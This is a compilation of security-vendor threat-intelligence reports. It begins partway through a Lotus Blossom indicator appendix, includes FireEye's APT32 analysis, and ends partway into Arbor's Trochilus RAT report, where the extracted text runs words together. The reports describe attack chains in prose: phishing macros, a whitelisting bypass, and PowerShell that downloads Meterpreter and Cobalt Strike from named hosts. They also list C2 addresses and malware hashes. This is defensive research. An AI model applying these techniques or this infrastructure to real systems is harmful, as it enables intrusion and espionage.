]13 SHA256 b2232492776267599307309e9d8874aac25e7cb31b155b0ca05349312690372f Campaign Code cyd-zc Command and Control 101.55.121[.
]47 118.193.212[.
]61 SHA256 64ffe128c61289bec90057c7bf3ff869c329ffcb1afa4c4cd0daed1effabf105 Campaign Code cyd-zc Command and Control 101.55.121[.
]47 118.193.212[.
]61 SHA256 b0ffb80762f25935415a7ffd6b9402a23c2b6b4dc4921419ef291160cf7f023b Campaign Code Alice_15A Command and Control 210.209.127[.
]8 www.boshman09[.
]com www.chris201[.
]net SHA256 8e180a9d7f233c189519bbfa2b649ca410c4869457e0cf8396beb82ffbffd05c Campaign Code ooo Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 3 Elise Executable SHA256 values 0201aaa8eda6dedc6c90381e225620cd33fb7b244f76bf229c3dd43feb9bdeaf 1333a300b03fb2d7bf028f4dee3d9b1f9c97267266faec9e02064862fbb6acb4 135e37122c23f26fed98b3bc884171c91c370250a73c6660b20416497b66a750 24bb8e48f37cbd71b2195cff4f52ec304a2ed9d60c28d2afd785e6f32639325f 2c2eb2eaadf9253a78265ac4655a6ec5935aa2673ff5e4fe3bb6753803c7fe59 2c512b50f8aa0881120d844b0bbbf7baa33465083fdc85755d51d1b5721bc057 2d43632953b511e1f1c7698de3c21b2ba7c27b75bb6079f51dcf9376e05e42b7 376c3ea59411380ab5146b3bc39ee79cf7f78b08dd712ef1cc5327bda5a2e46b 39dd2381bcd0f47dadf23399254bf1b51a837179e5634328afafe07510f5888a 3eb115f4eb62c4404be1a318afa3837bdba8fd66938efe15664741d942a85add 49bf19bd2381f5c78eb2d00a62e1b377620705dba0fa843fb8c8d26d92ec52e4 4de470147d90efbb440aa4420a5832b4f22f9f6128183568fe604df6427cc06b 4ff70adad080095421f34873e491c9da2e798f8db96a984f87efb9889d246fcb 5960d8f8b26edb453926efbd424332eabc0e1a74e25dbc1e9a570cc5920c8830 64ffe128c61289bec90057c7bf3ff869c329ffcb1afa4c4cd0daed1effabf105 712c488950f27e98bc4ebe5b63e5775498236a179cb4576bf021f8e6e6de0df4 7b2d470b9c6159c97cef2634493be0e4f2994f43501605a14d4c5a7efdeac3ba 7e386ff64be78af18f8a79d01cb75b0438cbcee4647e0a928100bd52ee56db76 840d18698ff0b114ee587f57231001d046fbd1eb22603e0f951cbb8c290804ed 866c698073e4deb66dd83c1ec9567ec03eca9f03775deadb81cc59fdb6cfd446 899730962e10546c9d43a9ffa79d900fd37c0d17f95aa537b67d31aa737447b5 8b4446cfaee549072c5da2468af7b9fec711f2d28851a3e8076fcfb53393a415 8c2cd914de7c125e49019f3826918511150ee4fff8a923da350a99c102b36455 8ce0b29202f3df23ce583040e2ffe79af78e0bb375ce65ec37a6ffe7d49b5bb5 8f7c74a9e1d04ff116e785f3234f80119d68ae0334fb6a5498f6d40eee189cf7 90296f0ecacc017bcf289297f5743660dd18bbc2842e631e9be4b2dc51732412 96356db43d7e9a5c3c4e3f9f7ee9a3dba14ad1c7db7367b7f6d664db4f0ef5d7 97d6699e449ddad97cc33e380a4873a7ceb0e8f0f50b5c8f72e6a4ff3dd1009f 9e5c286fcc47c8346267574ea805cde24b04915f5372f03923c0d6a13290e0ea a462085549f9a1fdeff81ea8190a1f89351a83cf8f6d01ecb5f238541785d4b3 a8e0ab6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3 b5a1f7e9d0d6d3bec17674610a3b26991083e1e3cb81729714b69c18038a902f bd78e106f208cbb8ea9e5902d778514f1fc2d15876fca292971c6695541889a3 d68a90fbe579a8199d78ef9ca001301e2c55a3015d4e3df3c238c276ed7cc1ce dc06012b4aef457efb0ecb9cdca579bb573823a1a63bb7a2ba92c7ce0c2ddbfb e2181b3d47feb5a321fe3b85b08a0245a1e0824b213e568fa4736d529fd5f8c2 e4a460db653c8df4223ec466a0237943be5de0da92b04a3bf76053fa1401b19e edb45f03dfd52ab58f163ad2ca48f4bc9c4bcb72ea9181d0e0a1d87859f707a6 f0304a1f7d87ac413f43a815088895872be0045a33c5f830b4b392a7ce5b8c46 f307280077b2a60d991a68c5700cbc57fe0ab6ec005caba0b0bcca4dbc5a1e2f fb506b8dd4025e247ac2fa12ffd46fd1cb6a06a138995a5cbda49074d567f615 fd2d9011ec860ba211d169063248d13d17425f210ff87a6c5a610b4704866339 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 4 Elise Delivery Document SHA256 values 9a226eeae1fc51a2bc2e72b098d5654238d0cc8eae29c0cdaacb49ae9d997d04 7e917319e2af9457c35afbb539c09233da2e02d6a64f970706dae9f6c3c791eb c19d3242d43c71f03f5873231444c12a6a11892dd7f0142ff10479f1f718382d dc61e089eebf6fa1b3abf637ce105e0d20666aa52d9001f5fd5034815331cd61 fd6302a152b0a2eff84b6ef219db5d79b6039043dfd5799ac9a4a0cced58e8bd e9971de22a922678fc216e9e3923c7e6b21455ddfbb24eb46e50e1cc7ceacc31 d9174d6bbcb51d3df186794109cd6b2036f6231cf8733290eadd399bf8137055 b53f98c113e7f72ff5170dcdb2ab2b1c15a02aadb72b2d2710d899aea9b875bd b2232492776267599307309e9d8874aac25e7cb31b155b0ca05349312690372f 463c6c6ffb8ecf2df44e294818dd500457807ff126dd658c5fe329c09f43a6e0 3d2c6d48425212eabb886c2e7e89249e4aa8cf4ad9ec3dd22cafb4f879683d8b 093e394933c4545ba7019f511961b9a5ab91156cf791f45de074acad03d1a44a b0ffb80762f25935415a7ffd6b9402a23c2b6b4dc4921419ef291160cf7f023b 8e180a9d7f233c189519bbfa2b649ca410c4869457e0cf8396beb82ffbffd05c 8e7c198e1eaa5be2d1415be3001c217634ae207b8f912e9a84af6c6016aa467e 00c0e0c14835c08d220ef27ef6324df86880167d416ff7183d7df241ffebc3f8 0adbf0f6a5c21054e569b2ef68c8c6ae7834a0700672c1f3ec6e50daf49a3a94 96410865d46cda89c7c34c60d485c2378a98acbba7ead5ada90daa02a94ba299 a98db2098fe9e3e203bed8318ae1d71e8a7b68f801613be10f3917baad7b49b2 b1e30dd3ad2c3290adad848f7199e03f365ecf484c44c6c7eaf42f6b323cd30b 4780442f3cc8d3e1888aa6cecbb05d0c49a6755964eba7a8a6a36d6d2a0ef881 bae07b0c3e4e96731360dc4faa49c0d4abe4d3705e768393f21661c82dea13f3 65c901b19e2eec6b8392100c1073253641a95dd542f39c9ca95755e8a2afde14 30f1f7e848c79212f70794d718d0f3929c24e0f3d28695a7c85a85c77ab7aac9 0752bbdb0c51a519f17a62dd30a033c224c82168522f2c88949b1a0afc8f9037 b9681c178e087140344e6aec2630c61f6a7be92e97ebbe7ce10528f6f0e6028f 6eae10f0b9a62a26b19897f7ba627f92e93e458034939f55f2001835c0e1f1be P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 5 Lotus Blossom Command and Control Servers 101.55.120.153 101.55.120.165 101.55.121.47 103.244.91.16 103.246.245.146 103.252.19.13 103.28.46.96 113.10.136.18 113.10.222.157 118.193.212.61 122.10.89.84 122.10.89.85 142.91.252.130 162.211.181.107 162.211.181.26 173.231.49.98 184.22.44.209 202.77.181.179 202.82.202.228 202.82.91.139 203.218.138.30 210.209.127.8 210.209.79.29 218.103.16.153 23.234.63.197 27.255.64.231 45.64.113.130 46.251.237.59 50.7.11.10 58.64.183.92 59.188.247.32 59.6.2.16 61.58.31.102 95.154.195.152 asean-star.com aseaneco.org aseansec.dynalias.org beckhammer.xicp.net boshman09.com chris201.net cpcl2006.dyndns-free.com cybertunnel.dyndns.info harryleed.dyndns.org jackyson.dyndns.info kid.dyndns.org kjd.dyndns.org newinfo32.eicp.net newshappys.dyndns-blog.com petto.mooo.com phil-army.gotdns.org phil-gov.gotdns.org scristioned.dyndns-web.com shotacon.dyndns.info usa-moon.net verolalia.dyndns.org wsi.dyndns.org www.aliancesky.com www.babysoal.com www.boshman09.com www.chris201.net www.iascas.net www.imonju.com www.imonju.net www.interhero.net www.seachers.net www.serchers.net www.tgecc.org www.tintuchoahau.com www.vienclp.com www3.bkav2010.net i Triangle of Life.
Snopes.
December, 2009.
http://www.snopes.com/inboxer/household/triangle.asp ii Targeted Attack Trends 2013 2H.
Trend Micro Inc. May 19, 2014.
http://www.itu.int/en/ITU-D/Cybersecurity/Documents/2H_2013_Targeted_Attack_Campaign_Report.pdf iii Targeted Attack Trends in Asia-Pacific.
Trend Micro Inc. Nov. 20, 2014.
http://www.trendmicro.co.in/in/ cloud-content/apac/pdfs/security-intelligence/reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf iv BKDR_ESILE.SMEX.
Trend Micro Inc. May 28, 2013.
http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_ESILE.SMEX v ESILE Targeted Attack Campaign Hits APAC Governments.
Trend Micro Inc. July 28, 2014.
http://www.trendmicro.com.my/vinfo/my/security/news/cyber-attacks/ esile-targeted-attack-campaign-hits-apac-governments vi Analysis of Malware Page.
Singh, Abhishek.
Sept. 12, 2012.
https://www.fireeye.com/blog/threat-research/2012/09/analysis-of-malware-page.html vii Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370.
Moran, Ned Lanstein, Alex https://www.fireeye.com/blog/threat-research/2014/03/ spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html 4401 Great America Parkway Santa Clara, CA 95054 Main: 1.408.753.4000 Sales: 1.866.320.4788 Support: 1.866.898.9087 www.paloaltonetworks.com Copyright 2015, Palo Alto Networks, Inc. All rights reserved.
Palo Alto Networks, the Palo Alto Networks Logo, PAN-OS, App-ID and Panorama are trademarks of Palo Alto Networks, Inc. All specifications are subject to change without notice.
Palo Alto Networks assumes no responsibility for any inaccuracies in this document or for any obligation to update information in this document.
Palo Alto Networks reserves the right to change, modify, transfer, or otherwise revise this publication without notice.
PAN_WP_U42_OLB_061515
Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations fireeye.com /blog/threat-research/2017/05/cyber-espionage-apt32.html Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists.
FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.
APT32 and FireEyes Community Response In the course of investigations into intrusions at several corporations with business interests in Vietnam, FireEyes Mandiant incident response consultants uncovered activity and attacker-controlled infrastructure indicative of a significant intrusion campaign.
In March 2017, in response to active targeting of FireEye clients, the team launched a Community Protection Event (CPE) a coordinated effort between Mandiant incident responders, FireEye as a Service (FaaS), FireEye iSight Intelligence, and FireEye product engineering to protect all clients from APT32 activity.
In the following weeks, FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32s tools and phishing lures.
This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEyes newest named advanced persistent threat group: APT32.
APT32 Targeting of Private Sector Company Operations in Southeast Asia Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnams manufacturing, consumer products, and hospitality sectors.
Furthermore, there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations, as well as consulting firms that may have connections with foreign investors.
Here is an overview of intrusions investigated by FireEye that are attributed to APT32: In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam.
In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted.
In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam.
From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the target of APT32 intrusion operations.
In 2017, APT32 compromised the Vietnamese offices of a global consulting firm.
Table 1 shows a breakdown of APT32 activity, including the malware families used in each.
Year Country Industry Malware 1/11 https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www2.fireeye.com/WEB-Community-Protection-Security-Numbers.html 2014 Vietnam Network Security WINDSHIELD 2014 Germany Manufacturing WINDSHIELD 2015 Vietnam Media WINDSHIELD 2016 Philippines Consumer products KOMPROGO WINDSHIELD SOUNDBITE BEACON 2016 Vietnam Banking WINDSHIELD 2016 Philippines Technology Infrastructure WINDSHIELD 2016 China Hospitality WINDSHIELD 2016 Vietnam Media WINDSHIELD 2016 United States Consumer Products WINDSHIELD PHOREAL BEACON SOUNDBITE 2017 United Kingdom Consulting SOUNDBITE Table 1: APT32 Private Sector Targeting Identified by FireEye APT32 Interest in Political Influence and Foreign Governments In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013.
Here is an overview of this activity: A public blog published by the Electronic Frontier Foundation indicated that journalists, activists, dissidents, and bloggers were targeted in 2013 by malware and tactics consistent with APT32 operations.
In 2014, APT32 leveraged a spear-phishing attachment titled Plans to crackdown on protesters at the Embassy of Vietnam.exe, which targeted dissident activity among the Vietnamese diaspora in Southeast Asia.
Also in 2014, APT32 carried out an intrusion against a Western countrys national legislature.
In 2015, SkyEye Labs, the security research division of the Chinese firm Qihoo 360, released a report detailing threat actors that were targeting Chinese public and private entities including government agencies, research institutes, maritime agencies, sea construction, and shipping enterprises.
The information included in the report indicated that the perpetrators used the same malware, overlapping infrastructure, and similar targets as APT32.
In 2015 and 2016, two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32.
In 2017, social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines.
APT32 Tactics In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice 2/11 https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal http://blogs.360.cn/blog/oceanlotus-apt the victim into enabling macros.
Upon execution, the initialized file downloads multiple malicious payloads from remote servers.
APT32 actors continue to deliver the malicious attachments via spear-phishing emails.
APT32 actors designed multilingual lure documents which were tailored to specific victims.
Although the files had .doc file extensions, the recovered phishing lures were ActiveMime .mht web page archives that contained text and images.
These files were likely created by exporting Word documents into single file web pages.
Table 2 contains a sample of recovered APT32 multilingual lure files.
ActiveMime Lure Files MD5 2017.doc (2017 Statistical Report on Staff Salary and Allowances) 5458a2e4d784abb1a1127263bd5006b5 Thong tin.doc (Information) ce50e544430e7265a45fab5a1f31e529 Phan Vu Tutn CV.doc 4f761095ca51bfbbf4496a4964e41d4f Ke hoach cuu tro nam 2017.doc (2017 Bailout Plan) e9abe54162ba4572c770ab043f576784 Instructions to GSIS.doc fba089444c769700e47c6b44c362f96b Hoi thao truyen thong doc lap.doc (Traditional Games) f6ee4b72d6d42d0c7be9172be2b817c1 Giy yu cu bi thng mi 2016 - hng.doc (New 2016 Claim Form) aa1f85de3e4d33f31b4f78968b29f175 Hoa don chi tiet tien no.doc (Debt Details) 5180a8d9325a417f2d8066f9226a5154 Thu moi tham du Hoi luan.doc (Collection of Participants) f6ee4b72d6d42d0c7be9172be2b817c1 Danh sach nhan vien vi pham ky luat.doc (List of Employee Violations) 6baafffa7bf960dec821b627f9653e44 No i-dung-quang-cao.doc (Internal Content Advertising) 471a2e7341f2614b715dc89e803ffcac H DVPM-VTC 31.03.17.doc f1af6bb36cdf3cff768faee7919f0733 Table 2: Sampling of APT32 Lure Files The Base64 encoded ActiveMime data also contained an OLE file with malicious macros.
When opened, many lure files displayed fake error messages in an attempt to trick users into launching the malicious macros.
Figure 1 shows a fake Gmail-theme paired with a hexadecimal error code that encourages the recipient to enable content to resolve the error.
Figure 2 displays another APT32 lure that used a convincing image of a fake Windows error message instructing the recipient to enable content to properly display document font characters.
3/11 Figure 1: Example APT32 Phishing Lure Fake Gmail Error Message Figure 2: Example APT32 Phishing Lure Fake Text Encoding Error Message APT32 operators implemented several novel techniques to track the efficacy of their phishing, monitor the distribution of their malicious documents, and establish persistence mechanisms to dynamically update backdoors injected into memory.
In order to track who opened the phishing emails, viewed the links, and downloaded the attachments in real-time, 4/11 APT32 used cloud-based email analytics software designed for sales organizations.
In some instances, APT32 abandoned direct email attachments altogether and relied exclusively on this tracking technique with links to their ActiveMime lures hosted externally on legitimate cloud storage services.
To enhance visibility into the further distribution of their phishing lures, APT32 utilized the native web page functionality of their ActiveMime documents to link to external images hosted on APT32 monitored infrastructure.
Figure 3 contains an example phishing lure with HTML image tags used for additional tracking by APT32.
Figure 3: Phishing Lure Containing HTML Image Tags for Additional Tracking When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if macros were disabled.
In all phishing lures analyzed, the external images did not exist.
Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images.
When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms.
Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system.
The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32s infrastructure and injected it into memory.
The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script.
In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup.
To illustrate the complexity of these lures, Figure 4 shows the creation of persistence mechanisms for recovered APT32 lure 2017.doc.
Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named Windows Scheduled Maintenance was created to run Casey Smiths Squiblydoo App Whitelisting bypass every 30 minutes.
While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (.sct file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.
]info.
Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.
]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic.
A second scheduled task named Scheduled Defrags was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016.
This second task ran mshta.exe every 50 minutes which launched an APT32- specific backdoor delivered as shellcode in a PowerShell script, configured to communicate with the domains 5/11 http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile blog.panggin[.
]org, share.codehao[.
]net, and yii.yiihao126[.
]net.
Figure 5 illustrates the chain of events for a single successful APT32 phishing lure that dynamically injects two multi- stage malware frameworks into memory.
6/11 Figure 5: APT32 Phishing Chain of Events The impressive APT32 operations did not stop after they established a foothold in victim environments.
Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannons Invoke-Obfuscation framework.
APT32 regularly used stealthy techniques to blend in with legitimate user activity: During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix.
In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol.
APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system.
For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it.
Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code.
APT32 Malware and Infrastructure APT32 appears to have a well-resourced development capability and uses a custom suite of backdoors spanning multiple protocols.
APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL.
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor.
APT32 may also possess backdoor development capabilities for macOS.
The capabilities for this unique suite of malware is shown in Table 3.
Malware Capabilities 7/11 https://github.com/danielbohannon/Invoke-Obfuscation https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update WINDSHIELD Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports randomly-chosen C2/port for communications Registry manipulation Get the current modules file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly KOMPROGO Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system SOUNDBITE C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering PHOREAL C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload 8/11 BEACON (Cobalt Strike) Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure.
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions.
Figure 6 provides a summary of APT32 tools and techniques mapped to each stage of the attack lifecycle.
Figure 6: APT32 Attack Lifecycle Outlook and Implications Based on incident response investigations, product detections, and intelligence observations along with additional publications on the same operators, FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests.
The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in, or preparing to invest in, the country.
While the motivation for each APT32 private sector compromise varied and in some cases was unknown the unauthorized access could serve as a platform for law enforcement, intellectual property theft, or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations.
Furthermore, APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide.
Governments, journalists, and members of the Vietnam diaspora may continue to be targeted.
9/11 https://www.fireeye.com/products/isight-intelligence.html While actors from China, Iran, Russia, and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye, APT32 reflects a growing host of new countries that have adopted this dynamic capability.
APT32 demonstrates how accessible and impactful offensive capabilities can be with the proper investment and the flexibility to embrace newly-available tools and techniques.
As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nation- state intrusions that go beyond public sector and intelligence targets.
APT32 Detection Figure 7 contains a Yara rule can be used to identify malicious macros associated with APT32s phishing lures: Figure 7: Yara Rule for APT32 Malicious Macros Table 4 contains a sampling of the infrastructure that FireEye has associated with APT32 C2.
C2 Infrastructure 103.53.197.202 104.237.218.70 104.237.218.72 185.157.79.3 193.169.245.78 193.169.245.137 23.227.196.210 24.datatimes.org 80.255.3.87 blog.docksugs.org blog.panggin.org contay.deaftone.com check.paidprefund.org datatimes.org docksugs.org economy.bloghop.org emp.gapte.name facebook-cdn.net gap-facebook.com gl-appspot.org help.checkonl.org high.expbas.net high.vphelp.net icon.torrentart.com 10/11 images.chinabytes.info imaps.qki6.com img.fanspeed.net job.supperpow.com lighpress.info menmin.strezf.com mobile.pagmobiles.info news.lighpress.info notificeva.com nsquery.net pagmobiles.info paidprefund.org push.relasign.org relasign.org share.codehao.net seri.volveri.net ssl.zin0.com static.jg7.org syn.timeizu.net teriava.com timeizu.net tonholding.com tulationeva.com untitled.po9z.com update-flashs.com vieweva.com volveri.net vphelp.net yii.yiihao126.net zone.apize.net Table 4: Sampling of APT32 C2 Infrastructure 11/11 Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations APT32 and FireEyes Community Response APT32 Targeting of Private Sector Company Operations in Southeast Asia APT32 Interest in Political Influence and Foreign Governments APT32 Tactics APT32 Malware and Infrastructure Outlook and Implications APT32 Detection
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
ASERTThreatIntelligenceReport2015-08 UncoveringtheSevenPointedDagger Discovery of the Trochilus RAT and Other Targeted Threats ExecutiveSummary Previously,ArborASERTdiscoveredindicatorsofthePlugXAPTmalwarebeingusedinamannerthat suggestedthecountryofMynamarmayhavebeenatarget,orinvolvedinstagingothercampaignstowards othertargets.
StrategicWebCompromise(akaWateringHole)tacticsinvolvingtheplacementofPlugXand othermalwarewerediscoveredonMynamargovernmentandotherMyanmarrelatedwebsites.
Analysisof malwareconfigurationsuggestedthatSpecialEconomicZones(SEZs)inMyanmarwereofinteresttothe threatactors.
ThesefindingswerereleasedbyASERTinareportcalledDefendingtheWhiteElephantfound athttps://asert.arbornetworks.com/defending-the-white-elephant/[1].
InadditiontoASERT,threatactivityhasbeendocumentedbyPaloAltoNetworksinJune2015concerninga StrategicWebCompromiseoftheMyanmarPresidentialwebsitethatleveragedtheEvilgrabmalware[2].
Theirresearchalsoindicatesinstancesofthe9002RATbeingusedonthesamewebinfrastructure.
Later, CitizenLabpublishedareportTargetedMalwareAttacksagainstNGOLinkedtoAttacksonBurmese GovernmentWebsitesonOctober16,2015thatlinkedArborresearchtocampaignsagainstanunnamed NGO[3].TheseeventsinvolvedthePlugXmalware,EvilGrab,andthe3102variantofthe9002RAT.
AfterdeliveringourinitialfindingstotheMyanmarCERTinAugust,additionalmalwarewassubsequently foundontheMyanmarelectionsiteonOctober20th,2015(nowremoved).Specifically,sixRARfiles- containingtwoinstancesofPlugX,EvilGrab,anunknownmalware,andtwoinstancesofanewAPTmalware calledtheTrochilusRAT-plusaninstanceofthe3012variantofthe9002RATwerefound.
Theseseven discoveredmalwareofferthreatactorsavarietyofcapabilitiesincludingespionageandthemeanstomove laterallywithintargetsinordertoachievemorestrategicaccess.
Asthesesevenmalwareappeartobe wieldedbyadistinctactorgroup(knowntocollaboratorsatCiscosTalosGroupasGroup27),weare theatricallycharacterizingthisclusterofmalwareastheSevenPointedDagger.
InformationonthreatactorTTPscanhelpotherorganizationsincreaseawarenessthatcanleadtogreater resistancetoandbetterdetectionofmalice.
ASERTcontinuestoexplorethreatactivitythathasbeen uncoveredandwillprovideadditionalreportingasneeded.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 2 Proprietary and Confidential Information of Arbor Networks, Inc. ReportOverviewandMajorFindings Thefollowinginfographicdepictstheprocessbywhichtheinformationinthisreportwasuncovered.
Itcan serveasausefulreferenceandtomaintaincontextwhilefollowingthewrittentrailintherestofthisreport.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
3 UnionElectionCommissionWebsiteMalware:August-October,2015 SeveraladditionalmalwarefileswerediscoveredontheMyanmarUnionElectionCommission(UEC)website sincethepriorreportthatwasinitiallypublishedonAugust17,2015[4].
ThepresenceofnewmalwareaftertheinitialnotificationprocessfromArborindicatesanongoing compromiseofthesiteandpossiblyrelatedsitesandsuggeststhatamorediligentIncidentResponseprocess wasrequiredtodiscoverallofthecompromisedinfrastructureandvictimsofthemalwareactivity.
Thesenewerfilesandrelatedcontentshallbeanalyzedherein.
Malware 1-6: Six RAR Files Containing PlugX, EvilGrab, an unknown malware, and the Trochilus RAT AsdocumentedintheDefendingtheWhiteElephantpaper,severalRARfilescontainingmalwarewere discoveredontheUECwebsiteinthepast.
AsofOctober20,2015anewfilewasdiscoveredat http://www.uecmyanmar[.
]org/dmdocuments/UEC-Invitation.rarandwaspresentasofNovember2015.
FollowingthetrailleftbythismalwarehashelpedASERTuncoverotherrelatedthreatactivitytoincludea clusterofsixmalwarepackagesstoredinRARfileformatonastaging/distributionserver.
Malware 7: 3102 Variant of the 9002 RAT in Firefox Plugin Anadditionalmalwarefilewasstoredat http://www.uecmyanmar[.
]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.phpandwassubmittedto VirusTotalonAugust21,2015fromJapanandlateronOctober13fromSingapore.
FlashVideoPlayer.php containedaZIPfilethatstoredaFirefoxplugin,whichwasusedtolaunchthe3102variantofthe9002RAT.
AnotherinstanceofthisRATwasalsomentionedbyCitizenLabintheirreport,TargetedMalwareAttacks againstNGOLinkedtoAttacksonBurmeseGovernmentWebsites.
ThepresenceoftheexactsameRAT familyinsidethefakeFirefoxPluginontheUECwebsitecreatesalinkbetweenthisartifactandattacksonthe unnamedNGOthatwerediscussedinsidetheCitizenLabreport.
Malware set 1: Six RAR files (two PlugX, one EvilGrab, one unknown, two Trochilus RAT) Figure1: Screenshot of website containing additional malware (UEC-Invitiation.rar) as of October 20, 2015 ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 4 Proprietary and Confidential Information of Arbor Networks, Inc. Thenewlyobservedfile,storedinaRAR,isastoragetacticthathasbeenpreviouslyobservedonthesame site.
Twopriorfilenames(discussedintheWhiteElephantreport)wereinvitations.rarandPlanProposal.rar.
InsidetheUEC-Invitation.rarfilethereisafoldercalledUECInvitationthatcontainsanotherfoldercalled Invitation.
Insidethisfolderisashortcutfile,Invitation.
LNKwithatimestampofAugust24,2015.Analysisof the.
LNKfileturnsupsomeinterestingelements,suchastheuseofPowerShellinsidetheTargetfield,which performsadownloadandexecuteofadditionalmalware.
Figure 2: Analysis of the .LNK file reveals malicious Powershell AnalysisoftheLNKfilemetadatapropertystorerevealssomeinterestingaspectsofthemalware.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
5 Figure 3: In-depth analysis of .LNK metadatda Figure 4: UNDP Myanmar a possible target or lure?
OfinterestistheSystem.
ItemTypeTextvalue(aso-calledfriendly nameofaWindowselementthatisdisplayedduringtheuseofan application)ofUNDP,whichmaystandfortheUnitedNations DevelopmentProgram,theUNsglobaldevelopmentnetwork.
The Myanmar-focusedpagefortheUNDP[www.mm.undp.org]describes theirmissionasfollows:InMyanmar,UNDPprovidessupporttothe nationalpoliticalandsocio-economicreformsthatunderpinthe countrystransition.
